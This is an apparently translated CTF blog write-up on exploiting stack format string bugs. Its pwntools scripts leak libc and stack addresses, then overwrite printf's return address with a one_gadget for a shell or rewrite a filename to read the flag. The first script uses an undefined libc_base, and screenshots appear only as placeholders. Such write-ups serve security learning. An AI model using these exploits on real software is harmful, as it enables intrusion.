About the Exploitation Method of Format String Vulnerability on the Stack

Recently, I have done two formatting string vulnerability problems on the stack, and found a method that can almost do this type of problem. Let’s
introduce this method with the following two examples.
Let’s talk about this idea first, that is, through two Format string vulnerability, leaking libc_base for the first time, and an address in the stack (arbitrary) and modifying the return address of printf for the second time to one_gadget to getshell

Example one

Protection status:
insert image description here

Main function:
insert image description here
insert image description here
insert image description here
It can be seen that the format string vulnerability can be exploited infinitely, but it will not jump out of this loop, so the return address of the main function cannot be controlled.
There are two ways of thinking about this question. The first is to write at any address through the format string vulnerability, and change the content of f in the bss segment to flag. The second
is to modify the return address of the printf function to one_gad


Here is the first step of the second method in detail :
leaking libc_base
insert image description here
leaks the address of __libc_start_main+243 and then subtracting 243.
Then leak a stack address casually, find the return address of printf (you can find it when you enter printf), and the stack address of this address (the one ending with 91a8). Use your leaked stack address to subtract the two, and then It can be overwritten as one_gadget
insert image description hereand then find a one_gadget

0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

Use the second
script as follows:

from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p=process('./pwn')
elf=ELF("./pwn")
libc=ELF("libc-2.31.so")

def op(i):
	p.recvuntil("5. Exit\n-------------------------\n")
	p.sendline(str(i))
op(1)
op(3)
p.recvuntil("Please input your notes\n")
pay=b'%21$p'
#gdb.attach(p)
#pause()
p.sendline(pay)
p.recvuntil("Content:\n")

libcstart_addr=int(p.recv(14),16)
print(hex(libcstart_addr))

one_gad=libc_base+0xe3b01
print(hex(one_gad))

op(3)
p.recvuntil("Please input your notes\n")
pay=b'%18$p'
p.sendline(pay)
p.recvuntil("Content:\n")
stack=p.recv(14)
stack_addr=int(stack,16)
print(hex(stack_addr))
addr=stack_addr-0x100
ret_addr=stack_addr-0x60-8-0x100   #可以不断调试以找到正确的返回地址


op(3)
p.recvuntil("Please input your notes\n")
pay=fmtstr_payload(8, {
    
    ret_addr:one_gad},write_size='short') #单字节写入字节太大,所以用双字节写入,以满足小于0x50字节
p.sendline(pay)

p.interactive()

insert image description here
The second method

from pwn import *
io = process('./pwn2')

context(arch="amd64",os="linux")
context.log_level = "debug"

csu = 0xE70


def openfile():
    io.recvuntil("-------------------------\n")
    io.sendline(str(1))

def readfile():
    io.recvuntil("-------------------------\n")
    io.sendline(str(2))

def addnotes(notes):
    io.recvuntil("-------------------------\n")
    io.sendline(str(3))
    io.recvuntil("Please input your notes\n")
    io.sendline(notes)
    io.recvuntil("Content:\n",drop=True)

def closefile():
    io.recvuntil("-------------------------\n")
    io.sendline(str(4))

def pwn():
    openfile()
    addnotes(b'%26$p')
    csu_addr = int(io.recvline(keepends=False),16)
    print(hex(csu_addr))
    pie = csu_addr - csu
    filename = pie + 0x0202070
    payload = fmtstr_payload(8,{
    
    filename:u32(b'flag')})
    addnotes(payload)
   
    closefile()
    openfile()
    io.recvuntil("You successfully opened the file.\n")
   
    readfile()
    #gdb.attach(io)
    #pause()
    print(io.recv())
    io.interactive()
   
    # io.recvuntil("-------------------------\n")
    # io.sendline(str(3))
    # io.recvuntil("Please input your notes\n")
    # payload = b'\x00'*10
    # gdb.attach(io)
    # pause()
    # io.sendline(payload)


pwn()   

insert image description here
Read the flag directly

Example 2

The procedure is relatively simple
insert image description here
and the protection is as follows:
insert image description here

It can be seen that there are a total of four format string vulnerabilities, the first two are format string vulnerabilities on the stack,
and the last two are format string vulnerabilities on the bss segment.
Then the first two formatting characters can be passed String loopholes, direct getshell is the same as the above question, (of course, variable values ​​can also be overwritten, but here is not more about that method)

The idea is also to leak libc for the first time and modify the return address of printf to one_gadget for the second time

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p=remote("81.68.77.181",5001)
p=process("./pwn1")
elf=ELF("./pwn1")
libc=ELF("./libc-2.31.so")

p.recvuntil(b"hahah~\n")
pay=b'%19$p,%16$p'
#gdb.attach(p)
#pause()
p.sendline(pay)
#libc_base=u64(p.recv(6).ljust(8,b'\x00'))-243
libc_base=int(p.recv(14),16)-243-libc.sym['__libc_start_main']
p.recv(1)
stack=int(p.recv(14),16)-0x4e-0x10a
print(hex(libc_base))
print(hex(stack))
one_gad=libc_base+0xe3b01

p.recvuntil(b"hahah~\n")
pay=fmtstr_payload(8, {
    
    stack:one_gad},write_size='short')
p.send(pay)

p.interactive()

insert image description here

insert image description here
The conditions of use are probably
1. The format string vulnerability can be executed twice
2. The bytes that can be read are not less than 0x40 bytes

Guess you like

Origin blog.csdn.net/cainiao78777/article/details/129565364